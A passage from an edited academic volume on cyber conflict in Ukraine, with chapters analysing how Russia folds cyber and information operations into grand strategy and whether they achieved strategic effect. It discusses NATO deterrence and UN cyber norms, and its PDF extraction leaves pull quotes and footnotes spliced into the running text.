Europe s Moment of Blinding Strategic Clarity , The American Interest, 24 October 2014, http://www. the-american-interest.com/2014/10/24/europes-moment-of-blinding-strategic-clarity/. Daniel Schearf. Russia Concerns Driving Neighbors to NATO , Voice of America, 5 August 2015, http://www.voanews.com/ content/russia-concerns-driving-neighbors-to-nato/2903033.html. for cyber war, but events in Ukraine show that it also needs to be prepared for information war when cyber operations are used as a facilitator or attack vector. More broadly, Russia has clearly demonstrated an improved capability to coordinate its levers of state power in order to achieve strategic objectives in contrast to the West s apparent deficit of grand strategy. In his chapter Strategic Defence in Cyberspace: Beyond Tools and Tactics , Richard Bejtlich calls for strategic thought in cyber policy, but this approach needs to be mirrored across all domains in order to successfully counter the broad-based Russian approach to modern warfare. The crisis around Ukraine has brought Europe closer to recognition that its values and interests are incompatible with those of Russia, and that if the West wishes to support Russia s neighbours in asserting their sovereignty and choosing their own destiny, confrontation with Russia is the 2014 15 is not an aberration inevitable result. This also implies recognition that 2014 15 is not an aberrain relations between Russia tion in relations between Russia and the and the West. West; rather, it is the previous 25 years of relative quiescence that were the exception to the rule. European nations have now been prompted by events to once more take an interest in their own defence. But while concentrating on countering and forestalling Russia s next unacceptable act of force, they must also be prepared for a sustained period of difficult and expensive tension.33 In Russia s neighbourhood, the new normal is a return to old ways. A theme explored in greater detail in The Russian Challenge , op. cit. Keir Giles. Staring down a grizzly Russia , The World Today, Volume 70, Number 2, April May 2014. Chapter 3 Cyber War and Strategic Culture: The Russian Integration of Cyber Power into Grand Strategy James J. Wirtz Naval Postgraduate School Discussion of the cyber domain in general, and specific considerations of cyber attacks, cyber war and cyber power, often seem oddly detached from a broader strategic and geopolitical context.1 Several reasons can be suggested for why the cyber dimension of conflict seems to be considered in isolation from the physical and political goals that states and non-state actors attempt to achieve through their activities in the virtual world of cyberspace. Offensive and defensive cyber capabilities are highly classified by all parties; it is impossible to say with certainty what capabilities are wielded, making it difficult to assess cyber orders of battle and cyber balances of power . Newspaper reports, anecdotes, and rumours of capabilities offer clues, but it is difficult to link rumours to grand strategic objectives. Cyber warfare is an exquisitely technical subject dominated by engineers, mathematicians, and computer scientists individuals who can be forgiven for focusing on the latest patch needed in some software program, and for not thinking about the connection between technical exploitation and grand political strategy. In a sense, issues related to cyber warfare are often treated, not just as something technically new on the military landscape, but as something that is unprecedented in military affairs. If one turns a strategist s eye toward the cyber domain, key questions immediately emerge. How will states integrate their cyber capabilities into an overall strat1 The opinions here are not those of the U.S. Navy, U.S. Government or the North Atlantic Treaty Organisation. egy to achieve military and political goals? In other words, no matter how brilliant the algorithm, no matter how devious the penetration, how can cyber power be integrated into a combined arms or even a whole of government approach leading to battlefield success or to a grand strategy that creates a political fait accomPolitical and strategic culture pli? Unless one embraces the dubious produce national styles and proposition that cyber really constitutes preferences in cyberspace. the ultimate silver bullet in political and military conflict, it is unlikely to be employed independently as a war-winning weapon. Moreover, given the need for integration, issues of political and strategic culture, to say nothing of bureaucratic preferences and peacetime legal restraints, can be expected to produce national styles and preferences when it comes to conflict in cyberspace.2 Although attribution of known cyber attacks remains a hotly contested and much denied issue (given the very limited evidence available), there is some indication that strategic culture and organisational preferences shape the way the United States, China and Russia use their cyber power. According to press reports, the United States was behind the Stuxnet malware attack on centrifuges at Iran Natanz enrichment facility.3 Many analysts suggested at the time that the Stuxnet attack was noteworthy as the first example of the use of a cyber weapon to cause physical damage, but it also reflected the long-standing American tradition of long-range precision bombardment and the preference for targeting key nodes in an opponent s infrastructure to produce maximum damage with minimal effort.4 By contrast, the recent Office of Personnel Management hack, which press reporting attributes to the People s Republic of China, seems to reflect a Chinese preoccupation with guarding its own citizens from nefarious outside influences, while going to great lengths to gather information that is locked behind others defensive barriers.5 Russian cyber activities, especially those associated with the recent conflict in Ukraine and the annexation of Crimea, probably offer the best example of the employment of cyber attacks to shape the overall political course of a dispute. According to David J. Smith: According to Colin Gray, The political context of strategy is exceedingly broad. It includes the domestic political and bureaucratic processes by which strategy is made and amended all strategies are contrived and executed by people and institutions that must be considered encultured by the societies that bred them . Colin Gray. The Strategy Bridge: Theory for Practice (Oxford: Oxford University Press, 2010). pp. 39-40. Ellen Nakashima and Joby Warrick. Stuxnet was work of U.S. and Israeli experts, officials say, Washington Post, June 2, 2012. https://www.washingtonpost.com/world/national-security/stuxnet-was-work-of-us-and-israeli-experts-officialssay/2012/06/01/gJQAlnEy6U_story.html; David E. Sanger. Obama Ordered Sped Up Wave of Cyberattacks Against Iran, The New York Times, June 1, 2012, p. A1. http://www.nytimes.com/2012/06/01/world/middleeast/obama-ordered-wave-of-cyberattacks-against-iran.html. Lawrence Freedman. The Evolution of Nuclear Strategy, (3rd edition, New York: Palgrave MacMillan, 2003), pp. 11-12; Michael E. Brown, Flying Blind: The Politics of the U.S. Strategic Bomber Program (Ithaca: Cornell University Press, 1992), pp. 29-67. Sean Lyngaas. Exclusive: The OPM breach details you haven t seen, Federal Computer Week August 21, 2015. http://fcw.com/ articles/2015/08/21/opm-breach-timeline.aspx; Jon R. Lindsay. The Impact of China on Cybersecurity: Fact and Friction, International Security, Vol. 39, No. 3 (Winter 2014/2015), pp, 7-47. Russia holds a broad concept of information warfare, which includes intelligence, counterintelligence, deceit, disinformation, electronic warfare, debilitation of communications, degradation of navigation support, psychological pressure, degradation of information systems and propaganda. Computers are among the many tools of Russian information warfare, which is carried out 24 hours a day, seven days a week, in war and peace. Seen this way, distributed denial of services attacks (DDoS), advanced exploitation techniques and Russia Today television are all related tools of information warfare.6 Russia, more than any other nascent actor on the cyber stage, seems to have devised a way to integrate cyber warfare into a grand strategy capable of achieving political objectives. The remainder of this essay explains Russia seems to have devised what it is about Russian strategic culture a way to integrate cyber warthat enables it to wield cyber power in a fare into grand strategy. strategically effective manner. It begins with a brief discussion of Russian strategic culture, especially how it manifested in past debates the impact of technology on warfare. It then describes how Russia has employed its cyber power to defeat US and NATO deterrence strategies, effectively delivering a strategic defeat to the alliance at the outset of its hybrid war against Ukraine. The essay concludes by offering some observations about the strategic nature of cyber warfare. Russian Strategic Culture and Technology Often, states or individuals who initially invent or master some new technology fail to understand, not only its strategic implications, but also how best to employ it in a tactical or operational setting. Historically, Russia, including its Soviet manifestation, has not been at the forefront of scientific or technical innovation. As one recent history explained, Soviet Cold War espionage was largely dedicated to stealing scientific, technical, and military information from the West in a desperate and ultimately failed effort to keep pace with more sophisticated and innovative opponents.7 Nevertheless, while the Russians may lack in technological prowess and innovative drive, they tend to excel in their ability to foresee the broad impact of technology on the battlespace. Several sources can be suggested as the basis of this talent. As Robert Bathhurst explained decades ago, the Russians tend to be dreamers , allowing David J. Smith. How Russia Harnesses Cyberwarfare, Defense Dossier, Issue 4, August 2012, pp. 7-8. According to Michael Warner, Soviet spies were crucial to keeping the USSR alive and competitive for two reasons: they stole enough industrial secrets to substitute for innovation in some sectors, and they kept Moscow apprised of where the West was reading Soviet secrets, Michael Warner. The Rise and Fall of Intelligence: An International Security History (Washington, D.C.: Georgetown University Press, 2014), p. 161. their imaginations to run wild and envision the implications of technology.8 In the 1920s, for instance, Soviet writers were thinking about supersonic dogfights on the fringes of space something that has not occurred nearly a century later. During the Cold War, visions of a fully functioning Star Wars missile defence system shook the Kremlin to its foundations, despite the America focuses on technol- fact that even proponents of Reagan-era missile defence recognised that many of ogy, Russia tends to leap to the components of the system were at the the strategic implications of outer fringes of technical feasibility. In weapons systems. other words, while America focuses on issues of technology and systems integration, Russia tends to leap immediately to considerations of the strategic implications of emerging weapons systems. A second influence that shapes Russian views of emerging technology is the fact that, in their hearts, they are good Clausewitzians. In other words, they understand the paramount nature of politics in war. War is a political act. Its purpose is to alter the political judgments of opponents to better suit our own interests. Thus, to have a strategic effect, cyber power must be used in a way that will shape the political outcome of war. Russians are thus quick to think through the links between technology, military operations, strategy, and ultimately political outcomes, despite their lack of technological dexterity. Soviet estimates of the military balance, for example, reflected a broad assessment of the so-called correlation of forces , which incorporated political and economic trends, not just force ratios based on bean counts military units. Soviet alarm over NATO s 1983 Able Archer exercise, for instance, was greatly influenced by the political rhetoric emanating from the Reagan White House, not by some fundamental shift in the military balance in Europe. The Russian officer corps, especially in Soviet days, was also encouraged to think through the strategic implications of new technologies. Today, the Russian Army provides senior officers with multiple venues to debate not only doctrine, but theory. By contrast, US officers, who tend to focus on operational matters, generally lack similar venues to assess the strategic and political implications of new technology.9 In fact, many analysts point to a 2013 article signed by the Chief of the Russian General Staff, The Value of Science in Anticipating as laying out the Russian way of cyber warfare.10 A fine illustration of these phenomena is the emergence of the concept of Military-Technical Revolution, more commonly referred to by Western analysts as the Robert B. Bathurst. Intelligence and the Mirror (London: Sage, 1993). For a recent discussion of how operational considerations, for instance, take centre stage in what is purportedly Naval strategy see Peter D. Haynes. Toward a New Maritime Strategy: American Naval Thinking in the Post-Cold War Era (Annapolis: Naval Institute Press, 2015). Valery Gerasimov. The Value of Science in Anticipating [in Russian], Military-Industrial Courier, February 27, 2013, quoted in Matthew Rojansky and Michael Kofman. A Closer look at Russia Hybrid War Wilson Centre Kennan Cable , No 7, April 2015, p. 3. Revolution in Military Affairs. 11 By the mid-1970s, NATO defence planners recognised that they confronted a serious challenge along the Central Front. If war broke out in Europe, NATO would do well against first-echelon Warsaw Pact formations, but the Alliance could only slowly bring reinforcements across the Atlantic. Soviet third-echelon forces units made up mostly of inactive reservists in peacetime would probably defeat NATO because they would reach the battle before reinforcements streaming across the Atlantic. The United States and its allies had to prevent the third-echelon of the Red Army from reaching the Forward Edge of the Battle Area (FEBA). The solution to the third-echelon threat was found in several new technologies that would allow NATO to conduct precision strikes against Warsaw Pact staging areas, depots, transportation hubs, and armoured formations hundreds of miles behind the FEBA. By the mid-1980s, US programmes known as Assault Breaker and Smart Weapons Program, and NATO initiatives called Emerging Technologies and Follow on Forces Attack, were integrated into a new US Army Air-Land Battle doctrine, creating a nascent reconnaissance-strike complex. US planners adopted a rather nonstrategic and apolitical view of these new technologies they simply saw them as a way to stop Soviet third-echelon forces from reaching the Central Front. By contrast, the Soviets now anticipated a Military-Technical Revolution , predicting that the emerging reconnaissance-strike complex would transform conventional combat, producing truly strategic and political effects. Soviet strategists believed that long-range precision strikes could destroy forces and critical supply, communication, and command nodes deep within the enemy s rear, creating conditions for a catastrophic theatre-wide collapse. Put somewhat differently, the system of systems possessed by the Americans and their NATO allies would rob the Warsaw Pact of its ability to mass and manoeuvre forces, or even to conduct combined arms operations. Soviet officers estimated that the nature of war was about to change: conventional, not nuclear, munitions might soon become the weapon of choice against massed armoured and infantry formations. They saw the potential impact that this emerging system of systems could have on strategy, war, and international politics; there was a real possibility that the Warsaw Pact could be rendered militarily and politically ineffective by these emerging weapons and ways of war. Ironically, Soviet predictions of a Military-Technical Revolution set off alarm bells in the West, as analysts scrambled to detect the new secret Soviet weapon that would produce these revolutionary developments in war. Americans were slow to realise that the Soviets were in fact writing about American weapons, and the nascent precision-strike complex, which was in fact possessed exclusively by the United States and the NATO alliance. As a result, many of the key concepts related to the application of information-age technologies in warfare were produced by Soviets thinking about the weapons systems being deployed by their opponents, and not by the more technically competent Americans. Dima Adamsky. The Culture of Military Innovation: The Impact of Cultural Factors on the Revolution in Military Affairs in Russia, the US and Israel (Stanford: Stanford University Press, 2010). Russian Cyber Strategy Today, how is this Clausewitzian-inspired Russian strategic imagination being applied to the use of cyber power? The answer can be found by first exploring the strategic challenge they apparently believe they face: the NATO alliance. NATO is based on the concept of collective defence that enhances its strategy of deterrence. Through formal agreements and long-standing and extensive collaboration, NATO sends a strong signal that member states will stand together in the face of threats to collectively deter aggression against its members. The objective of this deterrent policy is to preserve the peace. This is a key observation. The goal of NATO s deterrent strategy is to reduce or even eliminate the possibility of war by ensuring that aggressors understand ex ante that an attack against one of its members is an attack against the entire Alliance. Especially today, NATO primarily exists to prevent war, not to develop enhanced strategies or capabilities to prosecute war or to wield forces to achieve ancillary objectives. In a sense, NATO exists to preserve the peace and to make sure that changes to the status quo in Europe occur through political processes that lead to the spread of democracy, the rule of law, and adherence to international norms. The raison d tre of NATO is to preserve the peace; the purpose behind its strategy is to deter war. To achieve its objective rapid change of the European status quo to better fit their Russia-centric, not democratically-cantered, interests and preferences Russia opted to pick a course of action not to defeat NATO, but to defeat NATO strategy. By presenting the Western alliance with a fait accompli through actions that produce minimal death and destruction, Russia attempted to shift the onus of escalation onto NATO, thereby inflicting a strategic defeat on the Alliance Russia opted to pick a course the outset of hostilities or even in of action not to defeat NATO, at the event of non-democratic changes but NATO s strategy. to the status quo. Russia is banking on the hope that NATO will either be incapable or unwilling to transform this strategic defeat into active conventional combat, which would further undermine NATO s goal of preserving the peace. In effect, the Russians seem to have realised that by defeating NATO s strategy at the outset of a confrontation, they can actually alter political perceptions within the Alliance in a way that suits their objectives. Put somewhat differently, the risk of a forceful NATO response to some provocation is minimised by keeping the death and destruction associated with any fait accompli to an absolute minimum. NATO is especially vulnerable to cyberattacks and information warfare because Russia can undermine NATO s deterrent strategy without causing casualties. NATO has the option of reversing the fait accompli, but the required level of death and destruction simply highlights the failure of its deterrent strategy. Cyber power, as a key facet of hybrid warfare, is an important enabler in an attack on NATO s deterrent strategy.12 Cyber attacks are not specifically targeted to eliminate key nodes, but to intensify the fog of war by sowing confusion within command and control networks and NATO polities. For instance, according Cyber power is an impor to press reports, Russian movement into tant enabler in an attack on the Ukraine was accompanied by myrNATO s deterrent strategy. iad cyber attacks, including Distributed Denial of Service (DDoS) tactics against computers in Kyiv, Poland, the European Parliament, and the European Commission.13 If local political and military leaders cannot develop an accurate estimate of quickly developing events, critical hours or even days can be gained with which Russia can create facts on the ground that can only be reversed at great effort. A little bit of sand in the works , so to speak, is enough to further delay the relatively slowpace of decision-making in the West.14 The annexation of Crimea also began with a series of covert operations that used a disinformation campaign to create ambiguity and delay Ukraine s response, effectively extending the element of surprise achieved by the Russian gambit. According to Michael Kofman and Matthew Rohansky: Russia s use of broadcast tools for propaganda and psychological operations, part of a broader information campaign to support the Crimean annexation, caught both the Ukraine and the West by surprise. Moscow amped up the alarmist content of its broadcasting . . . stoking fear and confusion in Crimea Admittedly, the annexation was completed using more traditional operations involving conventional units, but the cyber-enabled opening moves not only allowed Russia to test the Western response, but to buy the time needed to create a fait accompli through conventional means. Western analysts have noted that even though the Crimea crisis surprised the West, the Russian effort to integrate television and the internet, especially various As Michael Kofman and Matthew Rojansky note, hybrid warfare, including the Russian variations used against the Ukraine is not unique. The point here, however, is that Russia is particularly adept as using cyber power in the practice of hybrid warfare; see Kofman and Rojansky, (op cit) p. 2. Other analysts have noted how the Crimea annexation and the additional actions against Ukraine were dependant on capabilities long under development that were especially crafted not to trigger a NATO response; Aleksandr Golts and Heidi Reisinger. Russia s Hybrid Warfare: Waging War below the Radar of Traditional Collective Defence, Research Paper No 105 (Research Division NATO Defence College Rome) November 2014. Owen Matthews. BIG READ: Russia leading the way in the cyber arms race, Irish Examiner, Saturday June 13, 2015. www. irishexaminer.com lifestyle feature big-read-russia-leading-the-way-in-the-cyber-arms-race-336675.html. The key point is that information denial or dominance does not have to be absolute, it just needs to foster delay and uncertainty in Western political and military decision-making. According to Paul Saunders, Russia s seizure of Crimea happened very quickly. U.S. and European decision-making processes just don t move at that speed, particularly when facing ambiguity. Once a Crimea-style operation has begun, it will be extremely difficult if not impossible for Western decision-makers to be sufficiently confident about the other side s intent to take consequential action before it s too late ; Saunders, P. Why America t Stop Russia s Hybrid Warfare, The National Interest June 23, 2015. www.nationalinterest.org/feature/shy-america-can tstop-russias-hybrid-warfare-13166. Kofman and Rojansky, p. 4. types of social media, into its effort to shape opponents political perspectives, has been ongoing for quite some time. In a sense, Russia has worked hard to use the internet to shape the political environment of conflict: it has (1) developed internally and externally focused media with a significant online presence; (2) used social media to guarantee that Russian narratives reach the broadest possible audience; and (3) polished their content in terms of language and presentation so that it rings true in various cultural settings.16 These activities have recently been given their own moniker trolling the practice of creating cyber actors with false identities to communicate tailored messages to an unsuspecting audience.17 According to Keir Giles: Russian assessments of current events makes it clear that Russia considers itself to be engaged in full-scale information warfare, involving not only offensive but defensive operations whether or not its notional adversaries have actually noticed this is happening What most analysts fail to realise, however, is that Moscow has shaped this cyber-enabled information warfare in a very strategic manner. Cyber power is being wielded as a strategic weapon to create facts on the ground with the minimal use of kinetic force. Conclusion Because of its rather inchoate nature, the cyber domain is a milieu in which various strategic cultures can be manifest. Russian strategic culture focuses on war as a political activity; for cyber power to have a truly strategic effect, Russia believes that it must contribute directly to shaping political outcomes by altering the political perceptions of their opponents to better suit their interests. If one also accepts the idea that Russians are especially adept at understanding the political and strategic impact of new technologies, it is possible that they have grasped the real strategic opportunities created by the information revolution opportunities that might be given short shrift by analysts shaped by different strategic cultures. The true test of strategy, however, is found in a specific geopolitical and military context. In terms of Crimea and Ukraine, the Russians have developed an exquisite strategic application of cyber power not to defeat NATO s military capabilities, but to defeat NATO s strategy by creating a fait accompli while sidestepping NATO deterrent. By using cyber power to create facts on the ground with minimal casual16 Keir Giles. Working Paper: Russia s Hybrid Warfare: a Success in Propaganda, European Security and Defence College, 18 February 2015. www.baks.bund.de aktuelles/working-paper-russias-hybrid-warfe-a-success-in propaganda Adrian Chen. The Agency, New York Times Magazine, June 2, 2015. p. 57. Giles. ties, they shifted the onus of escalation onto NATO to reverse the fait accompli. In a sense, they created a situation in which NATO leaders must choose between suffering a harsh strategic defeat (the eruption of war in Europe) and the accommodation of the Russian annexation of Crimea and ongoing pressure against Ukraine. Cyber power, either in the form of direct attacks or a concerted information campaign, was used to create this dilemma for NATO by delaying a Western response until these stark choices emerged. The lesson is clear: if one can defeat an opponent s strategy, then it is possible to achieve one s objectives without defeating an opponent s forces or triggering execution of a deterrent threat. Chapter 4 Compelling Opponents to Our Will : The Role of Cyber Warfare in Ukraine James Andrew Lewis Centre for Strategic and International Studies (CSIS) Metric for Cyber Attack The conflict in Ukraine has challenged fundamental elements of Western alliance strategy. Russian efforts exploit a general reluctance by the West natural in democracies to risk war. The West has been unable to deter Russia from its adventure. Cyber warfare has played only a limited role in this. The concepts of strategic and military effect provide us with two metrics for assessing the effect of cyber attacks generally, and for Russian cyber activities in Ukraine. Strategic effect would be to diminish the opponent s will or capacity to resist. This can include politically coercive cyber actions such as were used against Estonia. Military effect would be degradation in the performance of commanders, troops, and weapons, demonstrated by U.S. actions in its Middle Eastern conflicts or as part of the 2007 Israeli airstrike in Syria1. Cyber attacks that produce strategic or military effect can include the manipulation of software, data, knowledge, and opinion to degrade performance and produce political or psychological effect. Introducing uncertainty into the minds of opposing commanders or political leaders is a worthy military objective. Manipulating public opinion to damage an opponent s legitimacy and authority in both domestic and international audiences is also valuable. Some actions may provide only symbolic effect aimed at a domestic audience, but this too is valuable for a nation in conflict. David Makovsky. The Silent Strike: How Israel bombed a Syrian nuclear installation and kept it secret, The New Yorker, 17 September 2012, http://www.newyorker.com/magazine/2012/09/17/the-silent-strike. To assess non-kinetic effect as a contributor for strategic or military advantage, we must look for observable effects in three categories: creating confusion, shaping opinion, and inflicting damage to data or services. Using these metrics, we can conclude that Russian cyber efforts in Ukraine produced an early tactical effect that has since tapered off and, since they are limited to actions that do not produce physical or disruptive consequences, have largely failed to achieve strategic or military effect. Strategic and Military Effect The Ukraine conflict has been described as hybrid warfare; a mixture of unconventional tactics and strategies, irregular forces, covert action, cyber operations, and political manipulation to achieve strategic goals. In essence, hybrid warfare is a collection of tactics designed to circumvent deterrence and avoid military retaliation by skirting the threshold of what could be considered state use of armed force. In this new style of conflict, non-kinetic actions can be as important as kinetic attacks. Hybrid warfare highlights the central problem for our understanding and management of interstate conflict; conventional warfare is now only part of a larger range of coercive actions available to nations. Cyber operations the ability to remotely manipulate computer networks have created a capability that is well suited to this new political-military environCyber capabilities create an ment. Cyber capabilities create an operoperational space in which ational space in which nations can connations can conduct offensive duct offensive action with less political risk, given the grey area in international action with less political risk. law which cyber war inhabits, and where opponents can find it difficult to respond. Advanced cyber action can create physical effects equivalent to kinetic attack, but we should not interpret cyber capabilities solely from the perspective of physical effect. While cyber attacks can produce effects similar to kinetic weapons, there is an informational aspect involving the manipulation of opinion and decision-making that is equally important and much more frequently used. Cyber attack can produce results equivalent to kinetic attack, but this is not its primary effect, which (at least for now) is to manipulate data, knowledge, and opinion to produce political or psychological effect rather than physical damage. Introducing uncertainty into the minds of opposing commanders or political leaders is a worthwhile military goal, as it will cause them to make mistakes or to become hesitant, providing the attacker with dominance of the battle space and the advantage of putting the defender in a reactive posture. Cyber actions that manipulate public opinion to affect an opponent s legitimacy and authority are also valuable in conflict among states. Cyber attack creates an operational space for coercive action that avoids many of the political risks of kinetic warfare. Cyber attacks are attractive in that they offer varying degrees of covertness and their treatment under international law remains ambiguous in regard to whether they qualify as an armed attack that would legitimise retaliation. Although cyber tools and techniques can be used in harmful ways, they are not weapons per se, which can make it difficult to decide when a cyber incident can be considered an armed attack or a use of force. An initial effort to define how a cyber incident could qualify as a use of force or armed attack would be to consider that an effect of the cyber action was the equivalent of an attack using conventional weapons producing physical destruction or casualties. A cyber incident that produced injury or death to persons and the destruction of or damage to property would certainly be considered as a use of force or armed attack. A cyber attack that produced intangible effects of such scope, intensity, and duration that they are judged to have consequences or harmful effects of sufficient scale and gravity could also be considered an armed attack. No Russian action in Ukraine rises to this level. Overall, the use of offensive cyber capabilities for kinetic effect has been minimal, with only a few known incidents. Russia is one of the most skilled among the nations who have developed cyber capabilities, but we have not seen extensive use of actual attacks against Ukraine. Neither critical infrastructure nor Ukrainian weapons have been damaged or disrupted. Russia has used its cyber capabilities primarily for political coercion, opinion-shaping, and intelligence gathering, and these cyber operations fall below the threshold set in Article V of the North Atlantic Treaty. Operations in Estonia, Georgia, and now Ukraine suggest that NATO may need to adjust its thinking about how opponents will use cyber attacks. Russia has been relatively careful in the overt use of its own forces especially compared to its actions against Georgia where the Russian Ministry of Defence confirmed that Russian armoured units were engaged in combat for peace enforcement . The Russian army occupied Georgian territory and Russian aircraft bombed targets including the capital.2 Russian actions in Ukraine took a different course. The current caution may reflect lessons learned in Georgia or a desire to preserve some degree of deniability, and manoeuvring to avoid an overt violation of international law. Cyber attack does not require an act of violence to compel our opponent to fulfil our will .3 Violence through cyber means is possible, but that is not the only or even primary use of cyber attack. Its effects are more often intangible and Library of Congress, Russian Federation: Legal Aspects of War in Georgia, http://www.loc.gov/law/help/russian-georgia-war. php. Clausewitz s definition of war. informational, and are intended to manipulate data, create uncertainty, and shape opinion. An emphasis on kinetic effect can obscure important operational distinctions in the use of cyber techniques and complicates efforts to develop norms for cyber conflict. Norms and the Application of International Law4 Russia s activities in Ukraine have implications for both cyber warfare and for cyber norms. Russian actions have carved new contours for conflict that do not map perfectly to existing concepts and rules for warfare and defence. Existing norms and laws for armed attack were based on the use or threat of use of physical violence and force. These must be adjusted, if not amended, for cyber conflict. Efforts to redefine violence and force to include the full range of possible cyber actions (such as Russian and Chinese efforts in the United Nations (UN) to define information as a weapon5) have so far introduced more ambiguity than clarity. Information is clearly not a weapon, but a minimalist definition that emphasises kinetic effect is also inadequate in capturing the full range of cyber effects. As such, the rules for cyber conflict The rules for cyber conflict pose a challenge to existing international law. Currently, there is no agreement pose a challenge to existing among leading nations, and it is interestinternational law. ing to note that with the 2015 Group of Governmental Experts (GGE), which was tasked to look at the application of international law to cyber conflict,6 this topic proved to be the most difficult. Disagreements over the application of international law between Russia, China and a few others on one hand, and NATO nations on the other, almost derailed the talks. The crux of the disagreement was over the application of specific provisions of the UN Charter, (the general applicability of the Charter had been agreed to in earlier GGEs), and in particular the applicability of Article 2/4 (renouncing the use of force) and Article 51 (the inherent right to self-defence). One question for the development of further norms for cyber conflict becomes whether it is possible to move beyond the norms embedded in the UN Charter and the international agreements governing the conduct of warfare and armed conflict, to address this new aspect of warfare and to create norms that govern non-ki4 The author was rapporteur to the UN Group of Governmental Experts in 2010, 2013 and 2015. See, for example, SCO, Agreement between the Governments of the Member States of the Shanghai Cooperation Organisation on Cooperation in the Field of International Information Security, 2009, https://ccdcoe.org/sites/default/files/documents/ SCO-090616-IISAgreementRussian.pdf [in Russian]. Along with norms and confidence building measures, see Group of Governmental Experts Report on Developments in the Field of Information and Telecommunications in the Context of International Security, A/70/174, 22 July 2015, UNODA, http://www. un.org/ga/search/view_doc.asp?symbol=A/70/174. netic action. One possible avenue for progress would be to expand the Charter commitment to avoid actions that threaten the territorial integrity or political independence of a state (found in Articles 2/4 and 51) to explicitly include cyber actions. Continued ambiguity over the application of these UN Charter articles serves the interests of Russia and China by not creating grounds for or legitimising retaliation for cyber actions.7 This includes a general rejection of Western efforts to define use of force and armed attack using the concepts of equivalence and effect. These ambiguities, however, are not unique to cyber conflict, date from the signing of the Charter, and reflect conflicting desires to renounce the use of force while preserving the right to use force in self-defence. The Russian and Chinese goal, similar to other actions in arms control negotiations by these countries, is to constrain the U.S. and its allies. Intentional ambiguity may define the emerging strategic conflict between Russia and the West for the foreseeable future. Russian cyber tactics accentuate and expand ambiguity. The Russian concept of cyber warfare blends elements of what would be considered information warfare in the West. It is well known that the Russians prefer to use the phrase information conflict to cyber conflict on the grounds that cyber is too narrow and technical. Unsurprisingly, this preference reflects their use and understanding of cyber techniques. The norms before the UN General Assembly for approval at its 70th session will reiterate the rule of international law and the UN Charter, although how these are to be applied is a matter of intense dispute. They call for states not to attack critical infrastructure in peacetime, and to take note of the principles of humanity, necessity, proportionality, and distinction whey they exercise their inherent rights recognised by the UN Charter, including the right of self-defence. They do not address the use of cyber tools for political coercion, and it is interesting and indicative to note that Russia, which has made the most frequent use of cyber coercion, is the leading proponent for such norms. State practice suggests that there is an implicit threshold among states to avoid cyber actions against each other that could be interpreted as the use of force or an armed attack. This creates implicit norms for state behaviour derived from international practice that constrain malicious cyber actions, but these implicit norms are inadequate for this new form of conflict. The kind of cyber conflict we have seen in Ukraine poses a challenge not only to existing Western strategy (which is based on international law and UN Charter commitments) but also for the development of norms. If the trend in warfare is to circumvent direct confrontation between conventional forces (particularly the conventional forces of the U.S. and its allies), and if cyber conflict will often not involve kinetic effect or territorial intrusions, existing norms and rules for conflict will have limited application. According to conversations between the author and GGE representatives from many countries. We can place cyber norms into four categories: Those that call for observation of existing international law regarding state responsibility, especially the laws of armed conflict; Those that seek to exempt from cyber attack infrastructures where an attack could have an indiscriminate effect such as critical infrastructures, including the infrastructure of the global internet; Norms on state responsibilities to assist other states that are the victim of cyber attacks; and Norms on the proliferation of cyber technologies that could be used for malevolent purposes (which is still nascent and suffers from definitional problems). None of these norms can be easily extended to the new modes of coercion created by cyber capabilities. The stricture that comes closest is the Article 2/4 commitment to refrain from the use of force against the political independence of another state, but cyber actions such as we have seen in Ukraine cannot be considered a use of force. Cyber actions that do not have physical effect and which are taken outside the context of formal conflict do not fit well with the existing structure of international practice. Nations appear to observe an implicit threshold for their use of cyber tools and with very few exceptions, have avoided actions that could be considered under international law as a use of force or an armed attack. Attempts to expand these implicit understandings or to redefine the use of force to include coerNations appear to observe cive or politically manipulative cyber actions immediately run into problems. The central an implicit threshold for problem is access to information, because sevtheir use of cyber tools. eral countries would happily support a norm that restricts access to information. Russia, in particular, is quick to label any criticism of its behaviour as disinformation, information warfare, or propaganda. Russian negotiating behaviour, shaped in good measure by Soviet precedent, is often defensive, seeking to constrain the U.S. and its allies in areas where the West has a technological advantage, or to limit the political risks the internet creates. This defensive orientation creates a negotiating agenda that conflicts with Western countries when it comes to norms. Comparing Ukraine to Estonia and Georgia Contrasting Russian cyber activities in Ukraine with Estonia and Georgia is helpful in assessing their use and value, as well as in considering what new norms might look like. The cyber attacks in Estonia8, composed of service disruptions and denial Eneken Tikk, Kadri Kaska and Liis Vihul. International Cyber Incidents: Legal Considerations (Tallinn, Estonia: NATO Cooperative Cyber Defence of Excellence, 2010). of service incidents, could best be compared to the online equivalent of a noisy protest in front of government buildings and banks. They had little tangible effect, but they created uncertainty and fear among Estonian leaders as they were considered a potential precursor to armed Russian intervention. In Georgia9, cyber attacks were closely coordinated with Russian military operations. The effects of the cyber attacks in Estonia and Georgia deserve more careful study. The attacks did not cripple or bring Estonia to its knees, and NATO s decision not to invoke Article V reflects this fact. They were frightening not because of the cyber effect, but because of Estonian concerns about Russian intentions, NATO reliability, and their internal Russian-speaking minority. Similarly, cyber attacks on Georgia were largely symbolic. The most visible incident was the defacement of the Georgian President s website by Russian hackers, who drew moustaches on his photograph. The most interesting part of the Georgia episode was the close operational coordination between the hackers and the Russian military. The Russians continue to experiment with cyber tools to support their political objectives. If the Russian goal in Ukraine is to shape global public opinion, there were some early successes in painting the Ukrainians as fascists (a favoured communist insult) guilty of human rights violations. But no one believes that anymore, and the tide of public opinion has turned heavily against Russia. A recent Pew Research survey on global opinion captures the change and is entitled Russia, Putin, Held in Low Esteem If the Russian goal is around the World .10 In this, the current Rusto shape global public sian regime has not done as well as its communist predecessors, who could at least cloak opinion, there were early their actions in the rhetoric of Marxism. Russuccesses in painting the s current effort to hire hundreds of internet Ukrainians as fascists trolls11 to insert pro-Russian opinions in the Western press has proven to be feckless. Perhaps the benefit is domestic, persuading the Russian population of the righteousness of Russia s course of action,12 but as a tool of coercion, the absence of informational disruption (as in the case of Sony or Aramco) or physical effects (as with Stuxnet) makes Russian cyber operations annoying, but ultimately inconsequential. The most successful Russian tactics were creating or supporting pro-Russian separatist groups in areas with significant Russian-speaking minorities and then using Russian special and ultimately conventional forces to stiffen and protect these groups from the Ukrainian response. Cyber attack was largely irrelevant. Ibid. Bruce Stokes. Russia, Putin, Held in Low Esteem around the World, Pew Research Centre, 5 August 2015, http://www.pewglobal.org/2015/08/05/russia-putin-held-in-low-regard-around-the-world/. See, for example, Dmitry Volchek and Daisy Sindelar, One Professional Russian Troll Tells All, RadioFreeEurope/RadioLiberty, 25 March 2015, sec. Russia, 